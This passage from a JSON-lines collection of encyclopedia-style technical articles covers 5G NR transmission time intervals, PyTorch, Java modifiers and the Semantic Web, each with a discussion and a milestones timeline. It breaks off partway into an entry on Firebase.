SCS (for control only), 14 symbols are squeezed into a 62.5µs slot. In Release 16, 120kHz is the maximum SCS allowed for data. Hence, the lowest achievable slot duration is 125µs. At 60kHz, there's an option to use extended cyclic prefix (CP), thus limiting the slot duration to 12 symbols.  \n\nUnfortunately, as SCS increases, CP decreases. This means that in deployments where there's a long delay spread, CP will not offer sufficient protection against inter-symbol interference (ISI). Thus, reducing TTI by increasing SCS is not always possible. It's for this reason 5G NR also allows for **mini-slot** transmissions. \n\nWith mini-slots, a TTI can be as small as 2, 4 or 7 symbols. For example, at 30kHz SCS, the corresponding durations are about 70µs, 140µs and 250µs. Thus, we can cater to URLLC use case even at a lower SCS. \n\n\n### Could you explain pipeline processing in relation to 5G NR TTI and TB?\n\nMAC sublayer sends a transport block (TB) to PHY for transmission every TTI. At the receiving side, MAC layer can't process the TB until it's fully received. In extreme cases, a TB can have more than a million bits. \n\nA method to reduce the processing delay is to break up the TB into **code blocks**. Each code block independently goes through channel coding and rate matching. This feature, which also exists in LTE, is called *code block segmentation*. \n\nTo distribute the processing across time, code blocks are mapped to different OFDM symbols. Processing can be decoupled from TTI duration. Processing can start as soon as a code block is received and happen in parallel with next code block reception. This is called **pipeline processing**. Ultimately, this reduces the processing time at the receiver. \n\nPipeline processing is possible because time-domain interleaving is not done. Mapping of bits to resource blocks is also done on a frequency-first manner. \n\n\n### What's TTI bundling in 5G NR?\n\nTTI bundling is when the same TB is transmitted across multiple TTIs. This is done for the sake of redundancy and higher chance of successful transmission. For some time-critical services such as voice, delayed HARQ retransmissions are not useful. By pre-emptively transmitting multiple copies of the same data, quality is improved. \n\nTTI bundling reduces retransmissions and round trip time. It may be useful towards UEs that are the cell edge. \n\nTTI bundling exists in LTE and is not new to 5G NR. \n\n5G NR standard doesn't often use the term TTI bundling. Instead, **slot aggregation** is a more common term. The feature is enabled via RRC signalling. RRC Information Elements (IEs) `pdsch-AggregationFactor` and `pusch-AggregationFactor` signal the number of repetitions, which can be 2, 4 or 8. \n\n\n### Besides TTI, what are other techniques in 5G NR design that reduce latency?\n\nBesides shorter TTI via numerology and use of mini-slot TTI, other ways to reduce latency include frequency transmission opportunities to minimize wait time, shorter processing time via pipeline processing, grant-free UL transmission and flexible TDD frame structure. \n\n**DMRS is front loaded**, that is, it comes at the start of frame. A UE can therefore start channel estimation and decoding at the earliest. \n\nTo enable quick HARQ feedback, 5G NR uses a **self-contained subframe structure**. A subframe contains DL control, DL data, guard period and UL control. Thus, ACK/NACK for DL data can be sent in the same subframe. A similar self-contained uplink-centric subframe exists. \n\nMultiple code blocks are grouped into a **Code Block Group (CBG)**. If there's an error, only that CBG is retransmitted, not the entire TB.  With fewer bits, errors at CBG are less likely than at TB. Moreover, **slot aggregation** tries to minimize retransmissions. \n\nFor channel coding, 5G NR uses Low-Density Parity Check (LDPC). LDPC has a highly **parallelizable decoder**, thus reducing processing time. \n\n## Milestones\n\nMar  \n2016\n\nDurisi et al. note that some use cases such as Machine-to-Machine (M2M) communications send **short packets**. Likewise, there are use cases that require low latency. Given these requirements, they propose performance metrics and protocols more suited for short packets. \n\nJun  \n2016\n\nA proposal by Ericsson identifies **shortened TTI and processing time for LTE**. From its beginning in Release 8 to the most recent Release 13, LTE has focused on increasing data rates and no enhancements have come to lower latency. Lower latency will improve TCP throughput and reduce L2 buffer space requirements. Eventually, this proposal is standardized in LTE Release 15. \n\nApr  \n2017\n\nQualcomm files a patent titled *TTI Bundling for URLLC UL/DL Transmissions*. For selected UEs that may benefit from this feature, the base station signals the bundle length. Subsequently, data or control packets are repeated to those UEs. Number of repetitions correspond to signalled bundle length. \n\nAug  \n2020\n\nAs part of Release 17 work, modifications to TTI bundling are proposed to improve PUSCH coverage. One proposal is to allow repetition across non-consecutive slots. Another is to consider symbol-level repetition.","meta":{"title":"5G NR Transmission Time Interval","href":"5g-nr-transmission-time-interval"}}
{"text":"# PyTorch\n\n## Summary\n\n\nTo build an artificial neural network from scratch for machine learning models is not a trivial task. One approach is to use a library that simplifies many of the common tasks. PyTorch is a Python-based library for machine learning.\n\nPyTorch was designed to be both user friendly and performant. Python programmers will find it easy to learn PyTorch since the programming style is *pythonic*. While PyTorch provides many ready-to-use packages and modules, developers can also customize them. It's been said that, \n\n> Every aspect of PyTorch is a regular Python program under the full control of its user.\n\nPyTorch is open source with an active community developing it. It's a popular choice for research work, as seen in its growing adoption in 2019.\n\n## Discussion\n\n### Why should I learn PyTorch and what are its benefits?\n\nAn essential Python package for numerical and scientific computing is NumPy. However, NumPy is unable to use the power of GPUs. PyTorch allows us to use GPUs while also giving a number of useful machine learning architectures and utilities out of the box. \n\nFor Python programmers, writing and reading PyTorch code is very much like that of Python code. It also integrates easily with other Python packages. PyTorch API is intuitive and easy to learn. It's easy to experiment and learn with PyTorch. There's no need to spend hours reading its documentation.  \n\nPyTorch combines the best of usability and speed. It's imperative, Pythonic and easy to debug. It offers GPU acceleration with automatic differentiation. Complexity of ML modelling is hidden behind intuitive APIs. For performance, most of it is written in C++. Via YAML metadata files, new language bindings can be quickly created. \n\n\n### How does PyTorch compare with other deep learning libraries?\n\nAn alternative to PyTorch is TensorFlow, although PyTorch remains a popular choice for research. It's been said that TensorFlow is better for production. With eager execution (inspired by Chainer) and Keras integration, TensorFlow is becoming acceptable for research as well. In other words, with respect to ease of use and debugging, TensorFlow is becoming as good as PyTorch. \n\nSome production environments may not have a Python runtime. Sometimes ML models have to be embedded in constrained devices such as smartphones. Updates to models should be seamless without any downtime. TensorFlow has addressed all these considerations. PyTorch is addressing these production considerations via a subset of Python called **TorchScript**. TorchScript captures the structure of PyTorch programs whereas a JIT compiler uses that structure to optimize. In addition, PyTorch has announced experimental support for quantization and mobile. \n\n\n### What are main features of PyTorch?\n\nWe note these features of PyTorch: \n\n    + **Usability and Speed**: With eager mode, PyTorch provides flexibility for research. Via TorchScript, models can be converted to graph mode for speed and optimization. For efficiency, most of PyTorch is implemented in C++.\n    + **Automatic Differentiation**: Gradient computations are easy to perform. Via operator overloading, PyTorch builds up a representation of the computed function every time it is executed.\n    + **Distributed Training**: There's native support for asynchronous execution and peer-to-peer communication.\n    + **Mobile Deployment**: ML models can be deployed in mobile applications.\n    + **Interoperability**: PyTorch can export models in ONNX format that can then be imported into ONNX-compatible platforms, runtimes and visualizers. Moreover, it's easy convert between PyTorch tensors and NumPy arrays.\n    + **Extensibility**: It's easy to add custom behaviour. For example, automatic differentiation can be customized by deriving from `torch.autograd.Function` and implementing `forward()` and `backward()` methods.\n    + **C++ Frontend**: For bare metal C++ applications, this provides an alternative to Python frontend. It enables higher performance and lower latency.\n    + **Quantization**: Store and manipulate tensors at lower bit-widths instead of floating-point precision. It's done mainly to improve performance during inference.\n    + **Cloud Support**: Popular cloud platforms support PyTorch including AWS, GCP and Azure.\n\n### Which are main PyTorch packages and modules?\n\nThe main package is called `torch`. It contains `torch.Tensor`, which is the main data structure to store multi-dimensional tensors. Operations on tensors are also defined in this package.  \n\nThe package `torch.nn` is useful for building neural networks. To create a NN model, we need to subclass `torch.nn.Module`. NN layers that are available include `torch.nn.Conv1d`, `torch.nn.MaxPool1d`, `torch.nn.Sigmoid`, `torch.nn.BatchNorm1d`, `torch.nn.LSTM`, `torch.nn.Linear`, `nn.Dropout`, `nn.MSELoss`, and many more. Functional equivalents of these are in `torch.nn.functional`. \n\nNeural network weights and biases are adjusted via optimizers to minimize the loss. The package `torch.optim` provide many optimizers including `torch.optim.SGD` and `torch.optim.Adam`. Learning rates can be adjusted via the module `torch.optim.lr_scheduler`. \n\nAnother useful module is `torch.utils.data` in which `Dataset` and `DataLoader` are important classes. Among other things, they're useful for batching data and distributing them to multiple workers. \n\nThree application-specific packages are `torchvision`, `torchaudio` and `torchtext`. For example, `torchvision.datasets` gives easy access to image datasets and `torchvision.transforms` encapsulates useful transforms. \n\n\n### Could you give an example of a neural network model in PyTorch?\n\nThe example in the figure shows how to build a NN model by creating a subclass of `torch.nn.Model` class. The model is initialized with a convolutional layer and a linear layer. While PyTorch has `torch.nn.Linear`, this example shows how easy it is to build a custom linear layer. Essentially, the model is implemented as a class whose members are the model's layers. \n\nThe model itself is evaluated on an input activation by calling the `forward()` method. We specify in this method how the layers are connected. In this example, there's a non-linear ReLU activation between the two layers. There's a softmax layer at the end. The backward pass happens in `backward()` method but this is supplied automatically by PyTorch's `autograd` module.\n\nLoss is computed by the caller based on the output of `forward()`. Gradients are calculated next during the backward pass. Finally, optimizer is invoked to adjust the model's parameters. \n\n\n### How do I use GPUs with PyTorch?\n\nTo keep track of and use GPUs, `torch.cuda` is the module to use. We can check if GPUs are available using `torch.cuda.is_available()`. If so, call `torch.device('cuda')` to select a GPU. \n\nWhen tensors are allocated to a GPU, operations and their results will be on the same GPU device. Cross-GPU operations are not allowed by default but this is possible when peer-to-peer memory access is enabled. Data can be copied or moved from one GPU to another. To use multiple GPUs for distributed training, consider using `nn.DataParallel`. \n\nGPU operations are asynchronous. Operations are queued up for a particular device. CPU can continue running and queueing operations to other GPUs. All of this is transparent to the programmer. It's possible to force synchronous GPU calls, which can be useful to debug errors. \n\nA linear sequence of execution on a particular device is called a **CUDA Stream**. Every device has a default stream but we can create new streams. Operations within a stream are executed in the order they were queued. Since streams execute concurrently, operations across streams can be in any order. It's possible to synchronize across streams using for example `synchronize()` or `wait_stream()`. \n\n\n### What are some useful resources to get started with PyTorch?\n\nThe official PyTorch documentation is an essential reference. Beginners can start with step-by-step tutorials. The official PyTorch Resources page includes links to discussion forums, Slack channels. and how to get started with PyTorch on cloud platforms.\n\nBeginners may also refer to a handy cheatsheet of PyTorch modules and how to use them.\n\nA curated list of applications and models written in PyTorch can be useful for developers who like to learn by examples. \n\nTechRepublic has published a useful list of books on PyTorch. \n\nNVIDIA provides PyTorch container images that include NVIDIA CUDA, NVIDIA cuDNN, TensorBoard, TensorRT and optimized examples of well-known models. \n\n## Milestones\n\nOct  \n2002\n\nAs a modular machine learning library, **Torch** is released under free BSD license. With new ML algorithms being proposed and presented at conferences, a tool such as Torch can help in implementing and comparing them. Torch is implemented in C++. It's modular because simple modules can be combined to create complex models. For example, a multi-layer perceptron can be realized with two linear modules (for input and output) with a non-linear hidden layer (such as `tanh`) in between. \n\n2011\n\n**Torch7** is released as a framework for numeric computing and machine learning. It's based on Lua, which is a fast interpreted language with a good C API. Since Lua is written in ANSI C, it can be compiled for various target platforms. Torch7 comes with 8 built-in packages. It also supports parallelization with OpenMP and CUDA. \n\nMar  \n2015\n\n**Version 1.0 of autograd** is released on GitHub. First commit of this package is from November 2014. Maclaurin, in his doctoral thesis, describes autograd in detail. This is a Python implementation of **Automatic Differentiation (AD)**. It can compute gradients on any NumPy code. He also notes that autograd has become quite popular within the machine learning community. A 2017 survey paper credits autograd, Chainer and PyTorch for popularizing AD. \n\nSep  \n2016\n\nA week after alpha-0, **alpha-1 release of PyTorch** appears on GitHub. This includes `torch.nn`, `torch.autograd`, `torch.optim`, `torch.load` and `torch.save`. On MNIST dataset, PyTorch runs as fast as Torch-Lua. PyTorch uses 1500MB of system memory whereas Torch-Lua uses 2300MB. \n\nJan  \n2017\n\n**PyTorch** gets its first public beta release. It's early development is guided by Soumith Chintala, a core developer of Torch. It starts as a fork of Chainer that has dynamic graphs and interpretable development environment. Though Torch is popular and even accepted by organizations such as Facebook AI Research, Lua is not as mainstream as Python. Other reasons to move to Python are easy debugging and an imperative-style framework. \n\nApr  \n2018\n\nCaffe2 is merged into PyTorch codebase. Caffe2 and PyTorch are both open source ML frameworks from Facebook. \n\nDec  \n2018\n\nVersion 1.0.0 of PyTorch is released. This comes with a JIT compiler and **TorchScript**, which is a subset of Python. Due to PyTorch's Intermediate Representation (IR), models can be optimized and deployed in non-Python environments. This release introduces `nn.distributed` package. This release also includes **Torch Hub**, a repository for pre-trained models. \n\n2019\n\nPyTorch adoption grows a lot within the research community. Among the many deep learning frameworks, only PyTorch and TensorFlow seem to matter most. This year also sees a number of regular PyTorch releases from v1.0.1 (February) to v1.3.1 (November). By now, while PyTorch is growing, Torch community is defunct. \n\nJan  \n2020\n\n**PyTorch 1.4** is released. This allows customized builds for PyTorch Mobile. As an experimental feature, there's an RPC framework for distributed model parallel training. Also experimental are Java bindings. In February, NVIDIA releases a container image for this version of PyTorch. \n\nSep  \n2022\n\nMeta announces the formation of **PyTorch Foundation**, under the Linux Foundation. Cloud companies (AWS, Google Cloud) and hardware vendors (AMD, NVDIA) are some of the other members of the Foundation. The Foundation will market PyTorch and ecosystem around it. The Foundation's motto is \"to drive adoption of AI tooling by fostering and sustaining an ecosystem of open source, vendor-neutral projects with PyTorch.\"","meta":{"title":"PyTorch","href":"pytorch"}}
{"text":"# Java Modifiers\n\n## Summary\n\n\nA modifier is a programming construct in Java used to modify/refine/restrict a declaration. With modifiers, developers can restrict access, limit class instantiation to a single instance, disallow value modification, control persistent storage, configure sharing of variables across threads, and more. Modifiers can be applied to classes, class fields, class methods, class constructors and interfaces. \n\nMost modifiers are keywords, meaning that developers can't use them as identifiers. Modifiers `sealed` and `non-sealed` are not keywords. \n\nIn some cases, default modifiers are applied when modifiers are not explicitly specified by the developer. However, it's a good practice to explicitly specify modifiers.\n\nAnnotations are considered as modifiers  but these are not covered in this article.\n\n## Discussion\n\n### Could you explain Java's access modifiers?\n\nAccess to a class, interface, field, method or constructor can be controlled via access modifiers. Any one of these three can be used: \n\n    + `public`: access to everyone\n    + `protected`: access to subclasses anywhere plus everyone within the package\n    + `private`: access limited to the classWhen no access modifier is specified, by default access is restricted to within the package; that is, anyone within the package can access. This is also called *package-private*. The Java Language Specification (section 6.6) gives more details. \n\nBroadly, there are two levels of access control: (a) top level: public or package-private; (b) member level: public, protected, package-private, private. Top level applies to classes and interfaces. Member level applies to members of classes and interfaces, including nested classes and interfaces. \n\nAs a best practice, members should be private unless there's a need to expose them. This hides the internal implementation. Except for constants, avoid public fields. Access to top level public classes and interfaces can be restricted to the module by not exporting them. \n\n\n### Could you explain Java's static modifier?\n\nThere are use cases where we wish that all instances of a class share fields rather than have separate copies. Logging is an example where multiple instances log via the same logger. Another example is the method `public static main(String[] args)` that forms the entry point for any program. The JVM starts execution from this method even when no instance has been created. The `static` modifier enables us to do this. \n\nNested classes can be static. Local or anonymous classes can't be static. Nested enum classes and nested record classes are implicitly static. \n\nA static field/method is also called a **class variable/method**. In a static context, the use of `this` and `super` are not allowed. Static fields can be initialized using field initializers or static initializers that may include one or more blocks of code.  \n\nA nested interface, member or local, is implicitly static. \n\nStatic fields/methods are preferably accessed via the class name. Static methods can't be overridden since they're resolved at compile time. Static methods can't be abstract. \n\n\n### Which modifiers affect inheritance in Java?\n\nA subclass or subinterface can extend or implement from another class or one or more interfaces. This is one way by which Java enables code reuse. However, modifiers `final`, `sealed` and `non-sealed` help developers control inheritance. These modifiers may be used towards a more maintainable code. For example, a `Vehicle` class may state that only `Car` and `Truck` subclasses can extend it. This avoids the inelegant use of `instanceof` or `if-else` statements. Thus, runtime checks are replaced with compile-time checks.\n\nA class is declared `final` when it's desired that no subclass can extend it. It's methods can't be overridden. A final class can't be abstract. \n\nA class/interface is declared `sealed` if it specifies all known subclasses/subinterfaces. The subclasses/subinterfaces themselves may be `sealed`; or `non-sealed` if they can be freely extended. A permitted subclass must be itself be declared as `final`, `sealed` or `non-sealed`. \n\n\n### Could you explain the abstract method modifier?\n\nSometimes we wish to share code among closely related classes. But what's common among these classes is incomplete in the sense that their superclass can't be instantiated. An example is the `area()` method of class `Shape`. Subclasses `Circle` and `Rectangle` can and should implement this method but `Shape` itself is too abstract to implement it. \n\nThe `abstract` modifier is applicable to classes, methods and interfaces. However, since every interface is implicitly abstract (since classes are expected to implement an interface), explicit use of this modifier for interfaces is obsolete. \n\nA class with at least one abstract method must itself be declared abstract. A class that partially implements an interface must be declared abstract. A subclass of an abstract class itself can be abstract. In all cases, abstract classes can be subclassed but can't be instantiated. An abstract class can be `sealed` but not made `final`.  \n\n\n### Could you explain transient and volatile field modifiers?\n\nSometimes there's a need to store an object in a persistent manner, such as into a database or a disk file. Java's `java.io.Serializable` class helps us to serialize the object for storage. But what if there are some fields that we don't wish to save? This is where the `transient` modifier can be used. Fields with this modifier are ignored for storage. \n\nJava allows multiple threads to share variables. Using locks, developers can enforce mutual exclusion on those shared variables. However, the use of `volatile` modifier gives developers an alternative approach. The Java Memory Model ensures that all threads see a consistent value without extra effort from developers. A `final` variable can't also be declared `volatile`. \n\n\n### Could you explain native and synchronized method modifiers?\n\nSometimes we wish to reuse functionality already implemented in another language. This may be legacy code, platform-dependent code or code written for better performance or low-level hardware access. The `native` modifier tells the Java compiler that the method is implemented elsewhere. No method body is supplied. Instead the method declaration ends with a semicolon. Native code is interfaced to the JVM via Java Native Interface (JNI).   \n\nThe `synchronized` modifier helps developers write methods that can run concurrently in a multi-threaded environment. For example, suppose one method puts items into a queue or updates a variable, and another method executing in a concurrent thread reads from the queue or variable. With the use of `synchronized` modifier, method executions will not get pre-empted. \n\nUnder the hood, a synchronized method acquires a monitor. For a class method, the monitor is associated with the class. For an instance method, it's associated with `this`. \n\n\n### Could you explain the Modifier class?\n\nJava's `Modifier` class is part of the `java.lang.reflect` package. Reflection allows a program to get information about classes at runtime. Via static methods and constants, the `Modifier` class gives information about class and method access modifiers. Examples of constants are `ABSTRACT`, `FINAL` and `STATIC`. Examples of methods are `isAbstract(int)`, `isFinal(int)`, `isStatic(int)`, `classModifiers()` and `methodModifiers()`. \n\nAn example usage would be to call the `getModifiers()` methods on an instance of `java.lang.Class`, `java.lang.reflect.Field`, `java.lang.reflect.Method` or `java.lang.reflect.Constructor`. The returned value can be processed using the `java.lang.reflect.Modifier` class.\n\n## Milestones\n\nJan  \n1996\n\nJava 1.0 is released. This release includes access modifiers `public`, `protected` and `private`; class modifiers `abstract` and `final`; field modifiers `static`, `final`, `transient` and `volatile`; method modifiers `abstract`, `static`, `final`, `native` and `synchronized`; and interface modifier `abstract`. The use of `abstract` modifier for interfaces is redundant since interfaces are abstract by definition. \n\nDec  \n1998\n\nJava 1.2 is released. This adds the modifier `strictfp` to enforce strict floating-point semantics regardless of the platform. In Java SE 17 (September 2021), this modifier is made obsolete since by then processors support SSE2 (Streaming SIMD Extensions 2) that natively supports strict floating-point semantics. \n\nSep  \n2017\n\nJava SE 9 is released. For better modularity, the **module** concept is introduced. A module's packages are accessible to other modules only if the module exports them and modules that use them explicitly require them. This refines the semantics of the top level public access modifier and nested public and protected modifiers. Moreover, runtime-only access to packages can be achieved via `opens` and `open` directives. \n\nSep  \n2020\n\nJava SE 15 is released. This adds modifiers `sealed` and `non-sealed` to give developers control on inheritance hierarchy. Classes and interfaces can be controlled with these modifiers. The `permits` clause specifies which classes and interfaces can extend or implement the current class or interface.","meta":{"title":"Java Modifiers","href":"java-modifiers"}}
{"text":"# Semantic Web\n\n## Summary\n\n\nIn the original web of the 1990s information was shared as webpages or documents that could be understood by humans. Via hyperlinks, these linked to other webpages or documents anywhere on the web. Servers and desktop computers processed or displayed all this information but didn't understand them. For example, a computer could tell that a particular text is a heading or another text is in italics. It didn't know that the heading is actually the title of a blog post or that the text in italics is the author's name. \n\nSemantic Web is an attempt to describe and link web content in a manner that's meaningful to machines. Semantic Web extends the original web. Semantic Web wants to transform the web from a \"web of documents\" into a \"web of data\".\n\n## Discussion\n\n### What's the motivation behind Semantic Web?\n\nBy enabling machines to understand data, we can benefit in many ways:\n\n    + **Automation**: We can avoid doing mundane stuff such as booking tickets or rescheduling appointments. These can be efficiently handled by virtual assistants or agents.\n    + **Personalization**: Content on the web is growing daily. It's impossible for us to follow everything. Agents can personalize or curate content for us.\n    + **Information Retrieval**: Within enterprises or via web search engines, Semantic Web can give us more relevant answers.\n    + **Data Reuse**: Because Semantic Web enables linking of data from a variety of sources, data can be reused. Data that was previously stored in isolated databases can now be shared in a standard manner.\n    + **Knowledge Discovery**: By linking data across the web, new knowledge can be discovered. Semantic Web enables machines to apply logic on existing relationships and infer new ones. For example, this could be useful in discovering new drugs.\n\n### With the progress of Machine Learning (ML), is Semantic Web relevant?\n\nSemantic Web doesn't make machines intelligent in the sense of Artificial Intelligence or Machine Learning. Instead of asking machines to understand humans, we help machines to solve well-defined problems on well-defined data via well-defined operations. \n\nIt therefore does appear that AI/ML has gone ahead and enabled machines to see, hear and speak. The mid-2010s have seen the arrival of voice assistants, chatbots, computer vision applications, and more. This has been possible because of the availability of data to train ML algorithms. Though some ML algorithms require labelled data for training, there's no need to add semantic metadata to all data.\n\nHowever, Semantic Web complements and even overlaps with AI/ML. Semantic Web can help with explainable AI. Natural Language Processing (NLP) is an application area with chatbots and intelligent assistants using semantically linked data. Semantic Web can add background knowledge to AI/ML systems, particularly in areas where data is scarce. We're also seeing AI/ML being applied to conceptualize domain knowledge for the Semantic Web. AI can fill in missing data or clean noisy data in knowledge graphs. \n\n\n### What are the basic building blocks of Semantic Web?\n\nSemantic Web builds upon the foundations of the original web. Data (old and new) must be described with metadata. This metadata will identify data, interlink data and relate data to concepts so that machines can understand them.\n\nData must be uniquely identified and this is done using **Uniform Resource Identifier (URI)** or **Internationalized Resource Identifier (IRI)**. **Resource Description Framework (RDF)** provides the data model. Meaning is added at a higher layer with what we call **ontologies**. In other words, RDF specifies the syntax while ontologies specify the semantics. \n\nJust as HTML was the building block of the original web, RDF is the building block of the Semantic Web. Web content can expose their semantics by embedding RDF statements within webpages. There are many ways to do this: RDFa, RDF-XML, RDF-JSON, JSON-LD, Microdata, etc. Semantic data already processed and stored in RDF format can be queried. Just as MySQL exists to query relational databases, **SPARQL** is a language to query **RDF stores**. Given the semantics, rules can help in applying logic and reasoning. \n\n\n### What is Resource Description Framework (RDF)?\n\nAs the name suggests, RDF helps us describe any resource so long as that resource has a unique identifier. In other words, RDF helps us define data about other data, that is, the metadata. \n\nRDF has three components: subject, predicate, object. It's a statement about the relationship between the subject and the object. Thus, the fact that Villa Nellcôte is located in France can be expressed as an **RDF Triple**. All three parts of the triple are expressed as URIs, literals or blank nodes. \n\nWhen we combine many such statements together, we get what is called an **RDF Graph**. Subjects and objects are nodes of the graph. Predicates form the connecting arcs. For example, we can state that France is in Europe, Paris is the capital of France, Paris has a population of 2.2 million... Each of these can be expressed as an RDF Triple. Collectively, they form an RDF Graph.\n\n\n### How do we add meaning to data on the web?\n\nRDF on its own doesn't give meaning to data. RDF is a data model, a method to express relationships. To give meaning, *vocabularies* and *ontologies* are defined. These are typically written in terms of classes, their properties and relationships to other classes. \n\nFor example, an RDF triple can express that Paris is the capital of France but for a computer this still makes no sense. A vocabulary can define that capital is a type of city, city belongs to a country, and country is a political entity. This helps the computer to get a sense of the context though it can never truly understand the way humans do.\n\n**RDF Schema (RDFS)** is a simple vocabulary while **Web Ontology Language (OWL)** is more powerful. \n\n\n### Could you explain the term ontology?\n\nOntology has a metaphysical meaning but in computer science it refers to a formal description of knowledge. Concepts and their relationships within a specific domain are described. Classes, attributes, and relations such as restrictions, rules and axioms are defined. These represent the knowledge of that domain. \n\nFor example, in the domain of education, we can define that a course is taught by an academic staff member; academic staff member is a subclass of staff member; the union of staff member and student is all people at the university; academic staff member is equivalent to faculty; and so on. If we state that John Smith teaches Chemistry 101, using the ontology we can infer that John Smith is a staff member. \n\nData coming from different sources can rely on ontologies for a common understanding. Ontologies can also help in finding logical inconsistencies, classes that cannot have instances, or different instances that share the same names. One important benefit is that logic and reasoning can be applied to discover new knowledge. \n\n\n### Could you describe some real-world applications of Semantic Web?\n\nIt was reported in 2007 that the oil and gas industry is using RDF/OWL to combine data from diverse sources, and standardize data exchange, sharing and integration across partners or applications. Collaborative knowledge management also became possible. \n\nIn April 2010, Facebook launched *Open Graph* that web publishers can use to integrate their web pages into Facebook's social graph. This enables Facebook to understand what a user likes, give personalized recommendations, or connect users with similar interests. A simplified form of RDFa was adopted. \n\nDuring the FIFA World Cup of 2010, BBC website used semantic web technologies to dynamically display content. SPARQL queries and OWL 2 RL reasoning were employed. With the success of this project, in January 2013, BBC committed to the development of Linked Data Platform to enable dynamic semantic publishing. BBC's Music site from 2008 was also an early example of using the semantic web. \n\nOther examples include causality mining in pharma, semantic web mining, mining health records for insights, and fraud detection. You may also look up W3C's page titled Semantic Web Case Studies and Use Cases for more examples.\n\n## Milestones\n\n1997\n\nW3C produces the first working draft of *RDF Model and Syntax*. This evolves to a 2004 W3C Recommendation titled *Resource Description Framework (RDF): Concepts and Abstract Syntax*. \n\n1998\n\nA working draft of *RDF Schema (RDFS)* is published by W3C. Since RDF itself lacks means to define semantics, RDFS provides a basic type system for use in RDF models. *RDF Schema 1.1* is published in February 2014 as a W3C Recommendation. \n\nMay  \n2001\n\nAmerican science magazine Scientific American publishes an article by the inventor of the web, Tim Berners-Lee. Titled *The Semantic Web*, this article talks about web content that's meaningful to computers. The article narrates futuristic interactions enabled by the semantic web. It discusses knowledge representations, ontologies and agents. Though Berners-Lee had discussed some of these as early as 1994, it's only with this article that the vision of semantic web reaches a wide audience.\n\n2004\n\nW3C publishes **Web Ontology Language (OWL)**. OWL enables complex relationships that are not possible with RDFS. A revision of this (often called \"OWL 2\") is published in 2009. A second edition of OWL 2 is published in 2012. \n\n2006\n\nTim Berners-Lee points out that putting data out on the web isn't enough. Data has to be linked to other related data. He proposes what he calls *Linked Open Data (LOD)* and defines a 5-star system to grade how well people share data. He also states that,\n\n> Linked Data is the Semantic Web done right.\n\nJan  \n2007\n\n*DBpedia* is created by using structured data available in Wikipedia and representing them as RDF triples. By using a query language such as SPARQL, DBpedia can be used to make semantic queries. As on April 2016, DBpedia contains 9.5 billion RDF triples. \n\n2010\n\nThis may be the year when many companies adopt semantic web technologies for commercial use. Examples include Best Buy, BBC World Cup site, Google, Facebook and Flipboard. \n\nJun  \n2011\n\nGoogle, Microsoft, Yahoo and Yandex agree on **Schema.org**, a vocabulary for associating meaning to data on the web. The vocabulary is defined by a community process. Schema.org can be used with various encodings including RDFa, Microdata and JSON-LD. Google itself recommends the use of Schema.org along with JSON-LD. \n\nOct  \n2011\n\nApple integrates voice assistant *Siri* into some of its products. Within the next couple of years, competitive voice assistants *Microsoft Cortana*, *Google Now* and *Amazon Alexa* are released. These are largely powered by machine learning techniques but may also leverage the semantic web technologies. \n\nSep  \n2013\n\nGoogle Search gets the Hummingbird update, which enables the search engine to figure out user's intent. This is beyond searching by keywords alone. This capability comes from semantics attached to data plus Google's Knowledge Graph. Knowledge Graph was announced in May 2012. \n\n2021\n\nGiven that 2001 is considered the birth year of Semantic Web (with the publication of the Scientific American article), Semantic Web celebrates its **20th anniversary**. In an article, Hitzler writes that the grand goal of data sharing, discovery, integration and reuse hasn't been achieved. Every sub-field of Semantic Web needs further progress. Given many varied approaches, some application-oriented consolidation is needed with good interworking of tools and well-documented processes.","meta":{"title":"Semantic Web","href":"semantic-web"}}
{"text":"# Firebase\n\n## Summary\n\n\nModern web and mobile apps are typically built with a mix of backend services and frontend frameworks. Wouldn't it be nice if there was a way for developers to focus on just the frontend and user experience, and let someone else take care of all backend requirements? It's exactly in this context that **Backend-as-a-Service (BaaS)** has emerged. \n\nFirebase started as a BaaS but after its acquisition by Google in 2014, it's now more deeply integrated to some parts of Google Cloud Platform. Since then, Firebase is described as \"a comprehensive mobile development platform\". The idea is to build apps faster without managing infrastructure.\n\n## Discussion\n\n### Why should I adopt Firebase for my next web/mobile app?\n\nFirebase provides easy-to-use workflows common to many apps. Examples include onboarding flow, customizing the \"welcome back\" screen, progressively rolling out new features, following the user journey across devices, adding chat to your app, optimizing ads based on user behaviour, enabling users to share and resize photos, processing third-party payments, and more. These typically involve significant development on the server side. Instead, Firebase offers out-of-the-box and easily deployable solutions to do these. \n\nAs developers, you don't have to worry about server-side software. Mobile and web SDKs enable this. The main offering is real-time sync of data between client apps and Firebase via **Realtime Database** and **Cloud Firestore**. Using **Authentication**, user authentication feature is easy to build, even if it involves third-party providers such as Facebook or Twitter. Messaging and notifications are efficiently done using **Firebase Cloud Messaging (FCM)**. Unlike native apps updated via app stores, **Remote Config** can update Firebase apps without asking users to update their installation. Using **Crashlytics** and **Performance Monitoring** app stability and performance can be improved. There's good integration with Adwords and Admob. Even UI testing across multiple devices is simplified via **Test Lab**. \n\n\n### What are the products offered by Firebase?\n\nFirebase products can be grouped into three categories: \n\n    + Build: Helps developers build more powerful, secure and scalable apps. Products include Cloud Firestore, ML Kit, Cloud Functions, Authentication, Hosting, Cloud Storage, Realtime Database.\n    + Improve: Gives developers insights into app performance and stability. Products include Crashlytics, Performance Monitoring, Test Lab.\n    + Grow: Helps your app to grow. Products include In-App Messaging, Google Analytics, Predictions, A/B Testing, Cloud Messaging, Remote Config, Dynamic Links, App Indexing.\n\n### What exactly is Firebase Hosting?\n\nWith the rise of powerful frontend frameworks (Angular) and static site generators (Jekyll) it's become possible to develop web apps without much server-side processing. For hosting such web apps, Firebase Hosting is a suitable solution. It serves content over secure connections, delivers content quickly due to caching on solid-state devices at CDN edges, enables rapid deployment and supports one-click rollbacks. CDN edge servers ensure global availability of your app. SSL certificates are free and automatically provisioned even for custom domains. \n\nIt's also easy to deploy a sophisticated Progressive Web App (PWA). While Firebase Hosting serves static content, dynamic content can be served using Cloud Functions for Firebase or Google's Cloud Run. \n\n\n### What's a suitable deployment architecture when using Firebase?\n\nWith Firebase, a web/mobile app can be deployed without running your own backend server. However, Firebase can also co-exist with an app server.\n\nIf the app requires only client-side code or doesn't require complex processing, then all the backend needs can be served by Firebase. If the app needs more complex processing or integration with third-party APIs, then Firebase can sit between clients and the app server. Clients access Firebase data and the server listens to changes to the data. Server manipulates data in Firebase, to which clients are notified. In another deployment architecture, Firebase sits logically next to the app server. Clients communicate to both. This architecture is ideal for large legacy apps where some parts (such as real-time features) are served by Firebase while older parts are served by the legacy server code. \n\nGiven that Firebase supports server-side execution 